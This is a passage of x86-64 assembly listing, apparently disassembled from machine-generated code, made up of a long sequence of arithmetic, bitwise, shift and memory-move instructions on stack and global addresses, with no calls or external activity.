sub eax, ecx
mov word [0x140179044], ax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc78]
add eax, ecx
mov word [rsp + 0xc08], ax
movzx eax, byte [0x140179008]
mov rcx, qword [rsp + 0x71d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x62], al
movzx eax, byte [rsp + 0x5a]
mov byte [rsp + 0x81], al
movzx eax, byte [rsp + 0x4b]
movzx ecx, byte [rsp + 0x4d]
xor eax, ecx
mov byte [rsp + 0x6e], al
lea rax, section..data
mov qword [rsp + 0x73b8], rax
mov rax, qword [rsp + 0x6b00]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7040]
mov qword [rsp + 0x73c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x73c0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3c50], eax
mov rax, qword [rsp + 0x6cc0]
mov rcx, qword [rsp + 0x6fb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x6cc8], rax
lea rax, [rsp + 0x6be8]
mov qword [rsp + 0x73c8], rax
movzx eax, word [rsp + 0xcd0]
mov rcx, qword [rsp + 0x6ef8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [0x14017a598], ax
movzx eax, byte [rsp + 0x72]
movzx ecx, byte [rsp + 0x4b]
shl eax, cl
mov rcx, qword [rsp + 0x6fd0]
mov byte [rcx], al
movzx eax, word [rsp + 0xc2c]
mov word [rsp + 0xce0], ax
mov rax, qword [rsp + 0x6fa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x46]
and eax, ecx
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x6d90]
movzx eax, word [rax]
mov rcx, qword [0x14017a5b0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6e30]
mov word [rcx], ax
lea rax, [rsp + 0x3c90]
mov qword [rsp + 0x73d0], rax
mov rax, qword [rsp + 0x6e68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x72c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ca0]
mov qword [rcx], rax
lea rax, [rsp + 0x3c34]
mov qword [rsp + 0x73d8], rax
mov rax, qword [rsp + 0x6ea0]
mov rcx, qword [rsp + 0x6fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6cc0]
mov qword [rcx], rax
lea rax, [rsp + 0xc50]
mov qword [rsp + 0x73e0], rax
mov rax, qword [rsp + 0x6e60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4f]
add eax, ecx
mov byte [0x14017902a], al
mov rax, qword [rsp + 0x6a78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7130]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6ec0]
mov byte [rcx], al
movzx eax, word [rsp + 0xc30]
mov rcx, qword [rsp + 0x6eb8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xc40], ax
movzx eax, byte [0x14017901e]
mov byte [rsp + 0x82], al
mov rax, qword [rsp + 0x6dc0]
mov ecx, dword [rsp + 0x3c90]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3c08], eax
mov rax, qword [rsp + 0x7198]
mov rax, qword [rax]
mov qword [rsp + 0x73e8], rax
mov rax, qword [rsp + 0x6e80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bc8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7098]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ea8]
mov rcx, qword [rsp + 0x6e48]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6e20], rax
mov rax, qword [rsp + 0x6b30]
movzx eax, word [rax]
mov word [rsp + 0xce4], ax
movzx eax, byte [rsp + 0x7d]
mov byte [0x14017a4e7], al
movsx eax, word [rsp + 0xc18]
movsx ecx, word [rsp + 0xc2c]
sub eax, ecx
mov word [rsp + 0xcac], ax
mov rax, qword [rsp + 0x6f38]
movzx eax, byte [rax]
mov byte [rsp + 0x83], al
mov rax, qword [rsp + 0x6f00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x77]
sar eax, cl
mov byte [rsp + 0x5b], al
mov eax, dword [rsp + 0x3c08]
mov rcx, qword [rsp + 0x73d0]
mov qword [rsp + 0x73f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x73f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3c98], eax
lea rax, [rsp + 0x6de8]
mov qword [rsp + 0x73f8], rax
mov rax, qword [rsp + 0x7200]
mov rcx, qword [rsp + 0x6ed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3bf0], eax
mov rax, qword [rsp + 0x6d08]
mov qword [rsp + 0x7400], rax
mov rax, qword [rsp + 0x73a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc74]
cdq
idiv ecx
mov word [rsp + 0xcc0], ax
mov rax, qword [rsp + 0x7220]
movzx eax, byte [rax]
mov rcx, qword [0x14017a590]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x14017a5a0]
mov byte [rcx], al
movsx eax, word [rsp + 0xcb0]
movsx ecx, word [rsp + 0xc2c]
and eax, ecx
mov rcx, qword [rsp + 0x7298]
mov word [rcx], ax
lea rax, [rsp + 0xc7c]
mov qword [rsp + 0x7408], rax
mov rax, qword [rsp + 0x6ec0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
sub eax, ecx
mov rcx, qword [rsp + 0x7018]
mov byte [rcx], al
lea rax, [rsp + 0x6f40]
mov qword [rsp + 0x7410], rax
mov eax, dword [rsp + 0x3c60]
mov ecx, dword [rsp + 0x3c14]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7200]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6af8]
mov eax, dword [rax]
mov dword [rsp + 0x3ca4], eax
mov rax, qword [rsp + 0x7378]
mov rcx, qword [rsp + 0x7168]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6a50], rax
mov rax, qword [rsp + 0x6eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc0]
add eax, ecx
mov word [rsp + 0xc4c], ax
mov rax, qword [rsp + 0x7148]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc90]
add eax, ecx
mov rcx, qword [0x14017a5a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6f00]
movzx eax, byte [rax]
mov byte [rsp + 0x84], al
mov rax, qword [rsp + 0x6d28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b40]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc18], ax
mov rax, qword [rsp + 0x6de0]
movzx eax, byte [rax]
mov byte [rsp + 0x85], al
mov rax, qword [rsp + 0x6f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4b]
and eax, ecx
mov byte [rsp + 0x4c], al
mov rax, qword [rsp + 0x6fd8]
mov rcx, qword [rsp + 0x6c98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6d58], rax
mov rax, qword [rsp + 0x6c70]
mov qword [rsp + 0x7418], rax
mov rax, qword [rsp + 0x6cd8]
mov rcx, qword [rsp + 0x6d40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6e40]
mov dword [rcx], eax
lea rax, [rsp + 0x3bec]
mov qword [rsp + 0x7420], rax
mov rax, qword [rsp + 0x70f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcbc]
shl eax, cl
mov word [0x140179058], ax
mov rax, qword [rsp + 0x71f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc8c]
cdq
idiv ecx
mov rcx, qword [rsp + 0x7408]
mov word [rcx], ax
movsx eax, byte [rsp + 0x43]
movsx ecx, byte [0x14017900f]
xor eax, ecx
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0x70c0]
movzx eax, byte [rax]
mov byte [rsp + 0x86], al
mov rax, qword [rsp + 0x7070]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7030]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x73e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7370]
mov rax, qword [rax]
mov qword [rsp + 0x7428], rax
mov rax, qword [rsp + 0x7330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b2c], eax
mov rax, qword [rsp + 0x6a68]
mov qword [rsp + 0x7430], rax
mov rax, qword [rsp + 0x73b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bc8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c44], eax
mov rax, qword [0x14017a528]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7228]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x14017905c], ax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0x73]
add eax, ecx
mov byte [rsp + 0x51], al
lea rax, [rsp + 0xc34]
mov qword [rsp + 0x7438], rax
movzx eax, word [0x14017a5c0]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcdc], ax
movzx eax, byte [rsp + 0x45]
mov byte [rsp + 0x87], al
mov rax, qword [rsp + 0x73c8]
mov rcx, qword [rsp + 0x7210]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7418], rax
mov eax, dword [rsp + 0x3c20]
mov ecx, dword [rsp + 0x3c00]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7288]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6d58]
mov qword [rsp + 0x7440], rax
mov rax, qword [rsp + 0x6f08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bf8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c6c], eax
movzx eax, word [rsp + 0xc14]
mov rcx, qword [rsp + 0x7228]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140179030], ax
lea rax, [rsp + 0x4a]
mov qword [rsp + 0x7448], rax
movzx eax, byte [rsp + 0x69]
movzx ecx, byte [0x140179022]
add eax, ecx
mov byte [rsp + 0x4d], al
mov rax, qword [rsp + 0x7010]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f20]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7080]
mov byte [rcx], al
lea rax, [rsp + 0xc2c]
mov qword [rsp + 0x7450], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b68]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c20], eax
mov eax, dword [rsp + 0x3c08]
mov dword [rsp + 0x3ca8], eax
mov rax, qword [rsp + 0x6d80]
mov rcx, qword [rsp + 0x7328]
mov qword [rsp + 0x7458], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7458]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7090], rax
mov rax, qword [rsp + 0x6f30]
mov rcx, qword [rsp + 0x73b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6f10], rax
movzx eax, byte [rsp + 0x70]
mov byte [0x14017a4fa], al
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x88], al
movsx eax, word [rsp + 0xcb4]
movsx ecx, word [0x140179050]
sar eax, cl
mov word [rsp + 0xcc8], ax
mov rax, qword [rsp + 0x7348]
movzx eax, word [rax]
mov word [rsp + 0xce8], ax
mov rax, qword [rsp + 0x70b8]
movzx eax, word [rax]
cdq
mov ecx, 0xea6
idiv ecx
mov word [rsp + 0xc30], ax
lea rax, [rsp + 0x6cc8]
mov qword [rsp + 0x7460], rax
mov rax, qword [rsp + 0x6ad0]
mov ecx, dword [rsp + 0x3c90]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6dc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x73b8]
mov ecx, dword [rsp + 0x3c44]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3bec], eax
mov rax, qword [rsp + 0x6bb0]
mov qword [rsp + 0x7468], rax
movsx eax, word [rsp + 0xc48]
mov rcx, qword [rsp + 0x6c08]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140179058], ax
movzx eax, byte [rsp + 0x85]
movzx ecx, byte [rsp + 0x66]
add eax, ecx
mov byte [rsp + 0x7a], al
lea rax, [rsp + 0x65]
mov qword [rsp + 0x7470], rax
mov rax, qword [rsp + 0x7030]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7158]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcb0], ax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f20]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x54], al
lea rax, [0x14017a4d0]
mov qword [rsp + 0x7478], rax
mov rax, qword [rsp + 0x6ed8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c70]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6d88]
mov dword [rcx], eax
lea rax, [rsp + 0x6c30]
mov qword [rsp + 0x7480], rax
mov rax, qword [rsp + 0x7328]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7160]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6e30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc4c]
sub eax, ecx
mov word [0x140179048], ax
movsx eax, word [rsp + 0xc78]
movsx ecx, word [rsp + 0xc28]
add eax, ecx
mov rcx, qword [rsp + 0x6d28]
mov word [rcx], ax
movzx eax, byte [0x140179026]
mov byte [rsp + 0x89], al
movzx eax, word [rsp + 0xc30]
mov rcx, qword [rsp + 0x6e10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xca4], ax
mov rax, qword [rsp + 0x6cd0]
movzx eax, byte [rax]
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x6cb0]
mov rcx, qword [rsp + 0x6f98]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6f30]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c84]
mov dword [rsp + 0x3cac], eax
mov rax, qword [rsp + 0x6ad8]
mov rcx, qword [rsp + 0x7380]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7318], rax
mov eax, dword [rsp + 0x3c9c]
mov rcx, qword [rsp + 0x6f78]
mov qword [rsp + 0x7488], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7488]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x6dc0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x5f]
mov rcx, qword [rsp + 0x6e88]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14017902b], al
mov rax, qword [rsp + 0x7448]
movzx eax, byte [rax]
mov byte [rsp + 0x8b], al
mov rax, qword [rsp + 0x6e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcdc]
imul eax, ecx
mov rcx, qword [rsp + 0x6e30]
mov word [rcx], ax
lea rax, [rsp + 0xc88]
mov qword [rsp + 0x7490], rax
movsx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x7448]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7470]
mov byte [rcx], al
mov rax, qword [rsp + 0x7200]
mov ecx, dword [rsp + 0x3bf0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c84], eax
lea rax, [rsp + 0x3b4c]
mov qword [rsp + 0x7498], rax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7468]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7428], rax
mov rax, qword [rsp + 0x7400]
mov qword [rsp + 0x74a0], rax
mov rax, qword [rsp + 0x6c08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7258]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc54], ax
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [0x14017a598]
imul eax, ecx
mov word [0x140179060], ax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8b]
sub eax, ecx
mov byte [rsp + 0x6a], al
lea rax, [rsp + 0x68]
mov qword [rsp + 0x74a8], rax
mov rax, qword [rsp + 0x6e70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5c]
sub eax, ecx
mov byte [rsp + 0x6a], al
lea rax, [rsp + 0x3c68]
mov qword [rsp + 0x74b0], rax
mov rax, qword [rsp + 0x7160]
mov rcx, qword [rsp + 0x72d8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x69b0], rax
mov rax, qword [rsp + 0x6ca0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7078]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7370]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7288]
mov eax, dword [rax]
mov dword [rsp + 0x3cb0], eax
movsx eax, word [rsp + 0xc54]
movsx ecx, word [rsp + 0xcd4]
add eax, ecx
mov word [rsp + 0xcac], ax
movzx eax, byte [rsp + 0x6d]
movzx ecx, byte [0x14017a4e6]
xor eax, ecx
mov byte [0x14017902b], al
movzx eax, byte [rsp + 0x54]
mov byte [rsp + 0x8c], al
movsx eax, word [rsp + 0xcd4]
mov rcx, qword [rsp + 0x6c08]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6b40]
mov word [rcx], ax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x8d], al
mov eax, dword [rsp + 0x3c28]
movzx ecx, al
mov eax, dword [rsp + 0x3c24]
shl eax, cl
mov rcx, qword [rsp + 0x6c20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6cf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7440]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6fb0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c04]
mov dword [rsp + 0x3cb4], eax
mov rax, qword [rsp + 0x72b0]
mov rcx, qword [rsp + 0x7480]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6c30], rax
mov rax, qword [rsp + 0x6f20]
movzx eax, byte [rax]
mov byte [rsp + 0x8e], al
movsx eax, word [rsp + 0xc2c]
movsx ecx, word [0x140179034]
add eax, ecx
mov word [0x14017a4e4], ax
mov rax, qword [rsp + 0x6ab0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x72f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5c], al
movzx eax, word [rsp + 0xc74]
movzx ecx, word [rsp + 0xce8]
add eax, ecx
mov rcx, qword [rsp + 0x6f18]
mov word [rcx], ax
lea rax, [0x14017a4f8]
mov qword [rsp + 0x74b8], rax
mov eax, dword [rsp + 0x3c30]
mov ecx, dword [rsp + 0x3c70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c84], eax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov qword [rsp + 0x74c0], rax
mov rax, qword [rsp + 0x69b0]
mov rcx, qword [rsp + 0x7400]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7440], rax
mov rax, qword [rsp + 0x6f78]
mov ecx, dword [rsp + 0x3c94]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x74b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6db0]
movzx eax, byte [rax]
mov byte [rsp + 0x8f], al
lea rax, [rsp + 0xc0c]
mov qword [0x14017a5d8], rax
mov rax, qword [rsp + 0x7448]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ca8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6cd0]
mov byte [rcx], al
lea rax, [rsp + 0xc68]
mov qword [rsp + 0x74c8], rax
movsx eax, word [rsp + 0xcd8]
movsx ecx, word [0x140179058]
sub eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4a]
sub eax, ecx
mov rcx, qword [rsp + 0x6ee8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6e58]
mov qword [rsp + 0x74d0], rax
mov rax, qword [rsp + 0x7460]
mov rcx, qword [rsp + 0x6ad8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6cc8], rax
mov rax, qword [rsp + 0x7150]
mov eax, dword [rax]
mov dword [rsp + 0x3cb8], eax
mov eax, dword [rsp + 0x3c68]
mov ecx, dword [rsp + 0x3be0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6cd8]
mov dword [rcx], eax
lea rax, [rsp + 0xc3c]
mov qword [0x14017a5e0], rax
lea rax, [0x14017902a]
mov qword [rsp + 0x74d8], rax
movzx eax, word [rsp + 0xc24]
mov rcx, qword [rsp + 0x7248]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
movzx eax, word [rsp + 0xc6c]
mov rcx, qword [rsp + 0x74c8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xcc0], ax
mov rax, qword [rsp + 0x6c28]
movzx eax, byte [rax]
mov byte [rsp + 0x90], al
mov eax, dword [rsp + 0x3b14]
movzx ecx, al
mov eax, dword [rsp + 0x3b94]
shr eax, cl
mov dword [rsp + 0x3c64], eax
mov rax, qword [rsp + 0x6f10]
mov qword [rsp + 0x74e0], rax
mov eax, dword [rsp + 0x3c10]
mov ecx, dword [0x140179004]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c78], eax
mov rax, qword [rsp + 0x6d58]
mov rcx, qword [rsp + 0x7400]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6db8], rax
mov rax, qword [rsp + 0x70c0]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a4d4]
sub eax, ecx
mov byte [0x14017900d], al
mov rax, qword [rsp + 0x7258]
movzx eax, word [rax]
mov word [rsp + 0xcec], ax
movzx eax, byte [rsp + 0x4b]
mov rcx, qword [rsp + 0x7080]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x74d8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x91], al
mov rax, qword [0x14017a500]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6e30]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc98], ax
mov rax, qword [rsp + 0x6ee0]
mov rcx, qword [rsp + 0x7238]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x73f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ae8]
mov rax, qword [rax]
mov qword [rsp + 0x74e8], rax
mov rax, qword [rsp + 0x70e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3be8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b94], eax
mov rax, qword [rsp + 0x6d40]
mov eax, dword [rax]
mov dword [rsp + 0x3cbc], eax
mov rax, qword [rsp + 0x71f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7048]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140179020], ax
mov rax, qword [rsp + 0x6b40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c60]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7388]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7f]
mov byte [rsp + 0x92], al
movsx eax, word [rsp + 0xc48]
mov rcx, qword [0x14017a520]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7070]
mov word [rcx], ax
movzx eax, byte [rsp + 0x4b]
mov rcx, qword [rsp + 0x6d50]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7190]
mov byte [rcx], al
lea rax, [rsp + 0x6d08]
mov qword [rsp + 0x74f0], rax
mov rax, qword [rsp + 0x6e58]
movzx ecx, al
mov rax, qword [rsp + 0x6d20]
shl rax, cl
mov qword [rsp + 0x7418], rax
lea rax, [rsp + 0x3c04]
mov qword [rsp + 0x74f8], rax
mov rax, qword [rsp + 0x6d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c38]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c50], eax
lea rax, [0x14017901b]
mov qword [0x14017a5e8], rax
mov rax, qword [rsp + 0x7190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f20]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7190]
mov byte [rcx], al
lea rax, [rsp + 0xc50]
mov qword [rsp + 0x7500], rax
movzx eax, word [rsp + 0xc24]
movzx ecx, word [0x140179048]
and eax, ecx
mov rcx, qword [rsp + 0x6dd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c48]
movzx eax, byte [rax]
mov byte [rsp + 0x93], al
mov rax, qword [rsp + 0x7168]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7418]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6bf8], rax
mov rax, qword [rsp + 0x6fb0]
mov rcx, qword [rsp + 0x7120]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x74f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7230]
mov eax, dword [rax]
mov dword [rsp + 0x3cc0], eax
mov eax, dword [rsp + 0x3c74]
mov ecx, dword [rsp + 0x3c64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cac], eax
movzx eax, word [rsp + 0xcdc]
movzx ecx, word [0x140179018]
add eax, ecx
mov rcx, qword [0x14017a5d0]
mov word [rcx], ax
movzx eax, word [rsp + 0xc18]
mov word [rsp + 0xcf0], ax
movsx eax, byte [rsp + 0x5c]
mov rcx, qword [rsp + 0x70c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6b60]
mov byte [rcx], al
mov rax, qword [rsp + 0x6e30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x70e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xce8], ax
mov rax, qword [rsp + 0x6c28]
movzx eax, byte [rax]
mov byte [rsp + 0x94], al
mov eax, dword [rsp + 0x3b4c]
mov ecx, dword [rsp + 0x3c78]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6d40]
mov dword [rcx], eax
lea rax, [rsp + 0x7090]
mov qword [rsp + 0x7508], rax
mov rax, qword [rsp + 0x6eb0]
mov ecx, dword [rsp + 0x3bec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7350]
mov dword [rcx], eax
lea rax, [rsp + 0x7428]
mov qword [rsp + 0x7510], rax
lea rax, [rsp + 0x46]
mov qword [0x14017a5f0], rax
mov rax, qword [rsp + 0x7220]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x93]
shl eax, cl
mov byte [rsp + 0x56], al
mov rax, qword [rsp + 0x6ee8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7130]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x92], al
movzx eax, word [rsp + 0xc18]
mov word [rsp + 0xcf4], ax
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x71e0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc90], ax
mov rax, qword [rsp + 0x7178]
mov qword [rsp + 0x7518], rax
mov rax, qword [rsp + 0x7040]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x73d0]
mov qword [rsp + 0x7520], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7520]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3c9c], eax
mov rax, qword [rsp + 0x6df0]
mov rcx, qword [rsp + 0x6a20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x72d8], rax
mov eax, dword [rsp + 0x3c14]
mov dword [rsp + 0x3cc4], eax
mov rax, qword [rsp + 0x6b60]
movsx eax, byte [rax]
mov rcx, qword [0x14017a5b8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x14017900d], al
mov rax, qword [rsp + 0x74d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6d18]
mov byte [rcx], al
lea rax, [rsp + 0xc18]
mov qword [rsp + 0x7528], rax
mov rax, qword [rsp + 0x6f80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc0]
sub eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
mov rax, qword [rsp + 0x6f28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc40]
add eax, ecx
mov word [rsp + 0xc6c], ax
mov rax, qword [rsp + 0x7518]
mov qword [rsp + 0x7530], rax
mov rax, qword [rsp + 0x6ac0]
mov rcx, qword [rsp + 0x6da0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3bfc], eax
mov eax, dword [rsp + 0x3cc4]
